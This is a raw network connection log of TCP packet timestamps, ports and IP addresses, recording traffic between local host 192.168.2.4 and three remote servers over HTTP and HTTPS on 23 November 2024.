Nov 23, 2024 15:22:32.881970882 CET	49829	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:32.882014990 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.882142067 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.882293940 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.882313967 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.882375956 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.882527113 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.882555008 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.882595062 CET	49824	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.882610083 CET	443	49824	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.883189917 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.883266926 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.883358955 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.884329081 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.884429932 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.884699106 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.885488987 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.885526896 CET	49834	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.885565996 CET	443	49834	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.885617018 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.885705948 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.885770082 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.885770082 CET	49834	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.885932922 CET	49834	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.885950089 CET	443	49834	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.886668921 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.886820078 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.886895895 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.887860060 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.887974977 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.888140917 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.889091015 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.889123917 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.889149904 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.889302969 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.889368057 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.889380932 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.890240908 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.890305042 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.890341997 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.890358925 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.890398026 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.890431881 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.890431881 CET	49825	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.890443087 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.890449047 CET	443	49825	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.891386986 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.891530037 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.891596079 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.891875982 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.892729044 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.892754078 CET	49835	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.892764091 CET	443	49835	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.892807007 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.892832994 CET	49835	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.892833948 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.892950058 CET	49835	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:32.892951012 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.892957926 CET	443	49835	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.893776894 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.893891096 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.893928051 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.894171953 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.894943953 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.895122051 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.895174026 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.896023989 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.896136999 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.896262884 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.896302938 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.897336006 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.897423983 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.897456884 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.897733927 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.898628950 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.898708105 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.898749113 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.898782015 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.899775028 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.899801016 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.899956942 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.900882006 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.900964022 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.901037931 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.902064085 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.902257919 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.902344942 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.902425051 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.903254986 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.903430939 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.903438091 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.903522968 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.904478073 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.904762030 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.904799938 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.905626059 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.905742884 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.905909061 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.906053066 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.906740904 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:32.906900883 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:32.917941093 CET	443	49829	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:32.918085098 CET	443	49829	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:32.918145895 CET	443	49829	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:32.918319941 CET	49829	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:32.918358088 CET	49829	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:32.918358088 CET	49829	443	192.168.2.4	104.21.33.116
Nov 23, 2024 15:22:32.918385029 CET	443	49829	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:32.918416977 CET	443	49829	104.21.33.116	192.168.2.4
Nov 23, 2024 15:22:32.973037958 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.973100901 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:32.976075888 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:33.015719891 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:33.015759945 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:33.015779018 CET	49830	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:33.015789032 CET	443	49830	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:33.021358967 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:33.021388054 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:33.021486998 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:33.021863937 CET	49836	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:33.021877050 CET	443	49836	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:33.026881933 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.026968002 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.027089119 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.027180910 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.027250051 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.027270079 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.027328014 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.028367996 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.028539896 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.028605938 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.029612064 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.029628992 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.029719114 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.030802011 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.030913115 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.030966043 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.031136036 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.031941891 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.031959057 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.032056093 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.033097982 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.033247948 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.033324957 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.033324957 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.034230947 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.034310102 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.044586897 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.044600964 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.044699907 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.044886112 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.044945955 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.045088053 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.045129061 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.046020031 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.046103001 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.046108007 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.046165943 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.047190905 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.047245979 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.047276020 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.047331095 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.048492908 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.048526049 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.048579931 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.049566031 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.049638033 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.049671888 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.049711943 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.050753117 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.050837040 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.050843954 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.050957918 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.051915884 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.052018881 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.052134991 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.053108931 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.053195953 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.053195953 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.053278923 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.054322004 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.054374933 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.054384947 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.054445028 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.055628061 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.055725098 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.055762053 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.055762053 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.056670904 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.056756020 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.057878017 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.057921886 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.057940006 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.057960987 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.058042049 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.059027910 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.059075117 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.059113979 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.059154987 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.060231924 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.060296059 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.060365915 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.061427116 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.061543941 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.061621904 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.062597990 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.062684059 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.062740088 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.063857079 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.063926935 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.064027071 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.065001011 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.065057993 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.065093040 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.066199064 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.066257954 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.066531897 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.066581011 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.067353010 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.067442894 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.067447901 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.067554951 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.068532944 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.068628073 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.068736076 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.069722891 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.069859028 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.070012093 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.070081949 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.070878983 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.070949078 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.070981979 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.071026087 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.072113037 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.072231054 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.072284937 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.073246956 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.073365927 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.073368073 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.073472023 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.074426889 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.074533939 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.074606895 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.075649977 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.075716019 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.075716972 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.075767040 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.076836109 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.077006102 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.077115059 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.077986002 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.078089952 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.078134060 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.078134060 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.079189062 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.079302073 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.079358101 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.080365896 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.080425978 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.080585003 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.080642939 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.081554890 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.081629038 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.081851006 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.081903934 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.082724094 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.082789898 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.082824945 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.082864046 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.083935976 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.083985090 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.084079027 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.085135937 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.085227013 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.085478067 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.085561991 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.086309910 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.086378098 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.086410046 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.086481094 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.087495089 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.087579966 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.087723970 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.087774992 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.088653088 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.088743925 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.088799000 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.088867903 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.089838028 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.089921951 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.089950085 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.090085030 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.091145992 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.091204882 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.091592073 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.091766119 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.092283964 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.092317104 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.092381954 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.093441963 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.093519926 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.093560934 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.093560934 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.094567060 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.094661951 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.094671011 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.094788074 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.095843077 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.095971107 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.096046925 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.096966982 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.097037077 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.097172022 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.097244024 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.098149061 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.098205090 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.098268032 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.098345995 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.238862038 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.239070892 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.239161968 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.239236116 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.239339113 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.239480019 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.239552975 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.240277052 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.240418911 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.240489960 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.241363049 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.241468906 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.241470098 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.241539955 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.242376089 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.242474079 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.242564917 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.242605925 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.243402958 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.243508101 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.243524075 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.243560076 CET	49823	80	192.168.2.4	185.215.113.16
